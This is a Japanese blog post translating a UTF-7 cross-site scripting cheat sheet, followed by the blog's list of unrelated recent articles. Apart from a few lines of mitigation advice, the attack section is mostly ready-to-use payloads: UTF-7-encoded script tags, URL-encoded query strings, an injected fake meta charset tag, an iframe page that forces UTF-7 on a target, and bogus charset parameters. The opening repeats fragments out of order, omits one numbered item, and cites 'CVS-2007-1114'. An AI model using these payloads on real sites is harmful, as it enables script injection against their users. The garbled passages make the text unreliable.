セキュリティ UTF-7でXSS(クロスサイトスクリプティング)を引き起こす10の方法
スポンサーリンク
Webアプリケーションのセキュリティで問題になるXSSについて。
UTF-7でクロスサイトスクリプティングの問題を発生させる10の方法についてです。
原文は、UTF-7 XSS Cheat Sheet(UTF-7 XSS チャートシート)です。
http://openmya.hacker.jp/hasegawa/security/utf7cs.html
#0 解決策
UTF-7のXSS対策は:
UTF-7における
#6 UTF-7 iframeを通す
もし日本語(または英語以外)のテキストがオリジナルHTMLに含まれるならば、UTF-7は自動的に選ばれません。しかし、UTF-7のiframeから訪問したとき、UTF-7を強制的に選択させられます。
See CVS-2007-1114 により詳しいことが書いてあります。
#7 正体不明なキャラクタセット(Unidentifiable charset)
UTF-7のXSSを理解し、Webアプリケーションのセキュリティを向上しましょう。
UTF-7でクロスサイトスクリプティングの問題を発生させる10の方法についてです。
原文は、UTF-7 XSS Cheat Sheet(UTF-7 XSS チャートシート)です。
http://openmya.hacker.jp/hasegawa/security/utf7cs.html
#0 解決策
UTF-7のXSS対策は:
- charsetを明確に指定する(HTTPヘッダでの指定を推奨します)。
- <meta>の前に攻撃者にテキストを置かせてはいけません。
- ブラウザが認識できるcharset名を指定します(間違った指定が世の中にあふれています)。
UTF-7における
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
は
<script>alert(document.location)</script>
を表します。
これは、UTF-7のXSSのもっとも基本的なパターンです。
#2 URLエンコードのもっとも基本的なパターン
%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
は
<script>alert(document.location)</script>
を表します。
#1をURLエンコードした式です。
例えば
http://example.com/search?q=%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
として、利用します。
#3 クォートをつけます
+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
は
"><script>alert(document.location)</script><"
を表します。
タグのアトリビュート(属性)の値に挿入されるときに使います。
#4 URLエンコードとクォート
%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
は
"><script>alert(document.location)</script><"
を表します。
#3をURLエンコードしたものです。
例えば
http://example.com/search?q=%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
として利用します。
#5 <meta>タグのフェイクの挿入
+ADw-/title+AD4APA-meta http-equiv+AD0-'content-type' content+AD0-'text/html+ADs-charset+AD0-utf-7'+AD4-
は
</title><meta http-equiv='content-type' content='text/html;charset=utf-7'>
を表します。
オリジナルの<meta>タグの前にフェイクの<meta>タグを挿入することに、UTF-7であると強制的に認識させます。
<title> +ADw-/title+AD4APA-meta http-equiv+AD0-'content-type' content+AD0-'text/html+ADs-charset+AD0-utf-7'+AD4- </title> <meta http-equiv="content-type" content="text/html; charset=utf-8">
#6 UTF-7 iframeを通す
<html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-7"> </head> <body> <iframe src="http://target.example.com/NOTFOUND/%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-"></iframe> </body> </html>
もし日本語(または英語以外)のテキストがオリジナルHTMLに含まれるならば、UTF-7は自動的に選ばれません。しかし、UTF-7のiframeから訪問したとき、UTF-7を強制的に選択させられます。
See CVS-2007-1114 により詳しいことが書いてあります。
#7 正体不明なキャラクタセット(Unidentifiable charset)
http://example.com/?q=%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&oe=Windows-31J
http://example.com/?q=%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&oe=CP932
http://example.com/?q=%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&eo=MS932
http://example.com/?q=%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&cs=jis
http://example.com/?q=%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&charset=utf8
http://example.com/?q=%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&enc=sjis
出力HTMLのキャラクタセット(charset)をパラメータによって指定できるとき、IEが認識できない"CP932"とようなcharset名を指定することによって、IE(Microsoft Internet Explorer)はUTF-7であると認識します。
charset名を指定する典型的なパラメータ名は、 "OE", "eo", "cs", "charset", "enc" やその他です。
典型的な間違ったcharset名は、
- Windows-31J
- CP932
- MS932
- jis
- utf8
- sjis などです。
UTF-7のXSSを理解し、Webアプリケーションのセキュリティを向上しましょう。
スポンサーリンク
スポンサーリンク
いつもシェア、ありがとうございます!
もっと情報を探しませんか?
関連記事
最近の記事
- パナソニック ジェットウォッシャードルツ EW-DJ61-Wのホースの修理
- LinuxセキュリティモジュールIntegrity Policy Enforcement
- アマゾンのEcho Show 5を買ったのでレビューします
- アマゾンのサイバーマンデーはAlexa Echo Show 5が安い
- Android スマートフォン OnePlus 7T と OnePlus 7の違い
- Android スマートフォン OnePlus 7 をAndroid10にアップデートしてみた
- クレジットカードのバーチャルカードの比較のまとめ
- 活動量計 Xiaomi Mi Band 4を買ってみたのでレビュー
- Android スマートフォン OnePlus 7 のレビュー
- AliExpressでスマートフォンを買い物してみた
- パソコンのホコリ対策 レンジフードフィルターと養生テープ
- 80PLUS GOLDのPC電源ユニットAntec NeoEco 750 Goldのレビュー
- イギリスの付加価値税 VAT は払い戻しを受けられる
- イギリスのロンドンでスーツケースなど荷物を預けられる場所は
- イギリスのロンドンで地下鉄やバスに乗るならオイスターカードを使おう
- イギリスのヒースロー空港からロンドン市内への行き方
- 航空便でほかの航空会社に乗り継ぎがある場合のオンラインチェックイン
- SFC会員がANA便ではなくベトナム航空のコードシェアを試して解ったこと
- ベトナムの入国審査でeチケットの掲示が必要だった話
- シアトルの交通ICカードはオルカカード(Orca)です
人気のページ
- Windows7 IME 辞書ツールで単語の登録に失敗しました
- C言語 popen()でコマンドを実行して出力を読み込む
- Windows7で休止状態にする方法
- CentOS MySQLの起動、停止、再起動
- loggerコマンドでsyslogにエラーを出力する方法
- パソコンパーツの買取をしてくれる店のまとめ
- Java Mapの使い方 get(),put(),remove(),size(),clear()
- 楽天のRポイントカードを作ってみた
- iPhone 5 から iPhone 6 に乗り換えたのでレビュー
- netstatコマンドのステータスの意味
スポンサーリンク
過去ログ
2020 : 01 02 03 04 05 06 07 08 09 10 11 122019 : 01 02 03 04 05 06 07 08 09 10 11 12
2018 : 01 02 03 04 05 06 07 08 09 10 11 12
2017 : 01 02 03 04 05 06 07 08 09 10 11 12
2016 : 01 02 03 04 05 06 07 08 09 10 11 12
2015 : 01 02 03 04 05 06 07 08 09 10 11 12
2014 : 01 02 03 04 05 06 07 08 09 10 11 12
2013 : 01 02 03 04 05 06 07 08 09 10 11 12
2012 : 01 02 03 04 05 06 07 08 09 10 11 12
2011 : 01 02 03 04 05 06 07 08 09 10 11 12
2010 : 01 02 03 04 05 06 07 08 09 10 11 12
2009 : 01 02 03 04 05 06 07 08 09 10 11 12
2008 : 01 02 03 04 05 06 07 08 09 10 11 12
2007 : 01 02 03 04 05 06 07 08 09 10 11 12
2006 : 01 02 03 04 05 06 07 08 09 10 11 12
2005 : 01 02 03 04 05 06 07 08 09 10 11 12
2004 : 01 02 03 04 05 06 07 08 09 10 11 12
2003 : 01 02 03 04 05 06 07 08 09 10 11 12